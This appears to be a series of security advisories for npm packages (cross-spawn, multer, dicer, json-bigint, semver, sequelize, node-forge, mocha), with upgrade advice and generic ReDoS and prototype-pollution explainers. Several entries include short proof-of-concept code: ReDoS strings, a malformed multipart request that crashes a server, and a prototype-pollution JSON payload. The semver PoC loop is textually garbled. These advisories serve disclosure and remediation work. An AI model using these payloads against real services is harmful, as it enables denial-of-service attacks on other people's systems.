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Overview

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper input sanitization. An attacker can increase the CPU usage and crash the program by crafting a very large and well crafted string.

PoC

const { argument } = require('cross-spawn/lib/util/escape');
var str = "";
for (var i = 0; i < 1000000; i++) {
  str += "\\";
}
str += "◎";

console.log("start")
argument(str)
console.log("end")

// run `npm install cross-spawn` and `node attack.js` 
// then the program will stuck forever with high CPU usage

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

• A The string must start with the letter 'A'
• (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
• D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

1. CCC
2. CC+C
3. C+CC
4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade cross-spawn to version 6.0.6, 7.0.5 or higher.

References

• GitHub Commit
• GitHub Commit
• GitHub PR

Overview

Affected versions of this package are vulnerable to Missing Release of Memory after Effective Lifetime due to improper handling of error events in HTTP request streams, which fails to close the internal busboy stream. An attacker can cause a denial of service by repeatedly triggering errors in file upload streams, leading to resource exhaustion and memory leaks.

Note:

This is only exploitable if the server is handling file uploads.

Remediation

Upgrade multer to version 2.0.0 or higher.

References

• GitHub Commit
• GitHub PR

Overview

Affected versions of this package are vulnerable to Uncaught Exception due to an error event thrown by busboy. An attacker can cause a full nodejs application to crash by sending a specially crafted multi-part upload request.

PoC

const express = require('express')
const multer  = require('multer')
const http  = require('http')
const upload = multer({ dest: 'uploads/' })
const port = 8888

const app = express()

app.post('/upload', upload.single('file'), function (req, res) {
  res.send({})
})

app.listen(port, () => {
  console.log(`Listening on port ${port}`)

  const boundary = 'AaB03x'
  const body = [
    '--' + boundary,
    'Content-Disposition: form-data; name="file"; filename="test.txt"',
    'Content-Type: text/plain',
    '',
    'test without end boundary'
  ].join('\r\n')
  const options = {
    hostname: 'localhost',
    port,
    path: '/upload',
    method: 'POST',
    headers: {
      'content-type': 'multipart/form-data; boundary=' + boundary,
      'content-length': body.length,
    }
  }
  const req = http.request(options, (res) => {
    console.log(res.statusCode)
  })
  req.on('error', (err) => {
    console.error(err)
  })
  req.write(body)
  req.end()
})

Remediation

Upgrade multer to version 2.0.0 or higher.

References

• GitHub Commit
• GitHub Issue

Overview

Affected versions of this package are vulnerable to Uncaught Exception due to improper handling of multipart requests. An attacker can cause the application to crash by sending a specially crafted malformed multi-part upload request that triggers an unhandled exception.

Remediation

Upgrade multer to version 2.0.2 or higher.

References

• GitHub Commit
• OpenJS Advisories
• Red Hat Bugzilla Bug

Overview

sequelize is a promise-based Node.js ORM for Postgres, MySQL, MariaDB, SQLite and Microsoft SQL Server.

Affected versions of this package are vulnerable to Improper Filtering of Special Elements due to attributes not being escaped if they included ( and ), or were equal to * and were split if they included the character ..

Remediation

Upgrade sequelize to version 6.29.0 or higher.

References

• DIVD CSIRT
• GitHub Commit
• GitHub PR
• GitHub PR
• GitHub Release

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS). A malicious attacker can send a modified form to server, and crash the nodejs service. An attacker could sent the payload again and again so that the service continuously crashes.

PoC

await fetch('http://127.0.0.1:8000', { method: 'POST', headers: { ['content-type']: 'multipart/form-data; boundary=----WebKitFormBoundaryoo6vortfDzBsDiro', ['content-length']: '145', connection: 'keep-alive', }, body: '------WebKitFormBoundaryoo6vortfDzBsDiro\r\n Content-Disposition: form-data; name="bildbeschreibung"\r\n\r\n\r\n------WebKitFormBoundaryoo6vortfDzBsDiro--' });

Remediation

There is no fixed version for dicer.

References

• GitHub Commit
• GitHub Issue
• GitHub PR

Overview

json-bigint is a JSON.parse with bigints support

Affected versions of this package are vulnerable to Prototype Pollution via the parse function.

POC

const JSONbig = require('json-bigint')
const json = '{"__proto__":1000000000000000,"c":{"__proto__":[],"length":1e200}}'
const r = JSONbig.parse(json)
console.log(r.toString())

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

• Unsafe Object recursive merge

• Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

• Application server

• Web server

• Web browser

How to prevent

1. Freeze the prototype— use Object.freeze (Object.prototype).

2. Require schema validation of JSON input.

3. Avoid using unsafe recursive merge functions.

4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade json-bigint to version 1.0.0 or higher.

References

• GitHub PR
• HackerOne Report

Overview

mocha is a javascript test framework for node.js & the browser.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) in the clean function in utils.js.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

• A The string must start with the letter 'A'
• (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
• D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

1. CCC
2. CC+C
3. C+CC
4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade mocha to version 10.1.0 or higher.

References

• GitHub PR
• GitHub Release

Overview

semver is a semantic version parser used by npm.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the function new Range, when untrusted user data is provided as a range.

PoC

const semver = require('semver')
const lengths_2 = [2000, 4000, 8000, 16000, 32000, 64000, 128000]

console.log("n[+] Valid range - Test payloads")
for (let i = 0; i =1.2.3' + ' '.repeat(lengths_2[i]) + '<1.3.0';
const start = Date.now()
semver.validRange(value)
// semver.minVersion(value)
// semver.maxSatisfying(["1.2.3"], value)
// semver.minSatisfying(["1.2.3"], value)
// new semver.Range(value, {})

const end = Date.now();
console.log('length=%d, time=%d ms', value.length, end - start);
}

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

• A The string must start with the letter 'A'
• (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
• D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

1. CCC
2. CC+C
3. C+CC
4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade semver to version 5.7.2, 6.3.1, 7.5.2 or higher.

References

• GitHub Commit
• GitHub Commit
• GitHub Commit
• GitHub PR
• Vulnerable Code
• Vulnerable Code
• Vulnerable Code

Overview

node-forge is a JavaScript implementations of network transports, cryptography, ciphers, PKI, message digests, and various utilities.

Affected versions of this package are vulnerable to Improper Verification of Cryptographic Signature due to RSA's PKCS#1 v1.5 signature verification code which does not check for tailing garbage bytes after decoding a DigestInfo ASN.1 structure. This can allow padding bytes to be removed and garbage data added to forge a signature when a low public exponent is being used.

Remediation

Upgrade node-forge to version 1.3.0 or higher.

References

• GitHub Commit

Overview

sequelize is a promise-based Node.js ORM for Postgres, MySQL, MariaDB, SQLite and Microsoft SQL Server.

Affected versions of this package are vulnerable to SQL Injection due to an improper escaping for multiple appearances of $ in a string.

Remediation

Upgrade sequelize to version 6.21.2 or higher.

References

• GitHub Commit
• GitHub Issue
• GitHub PR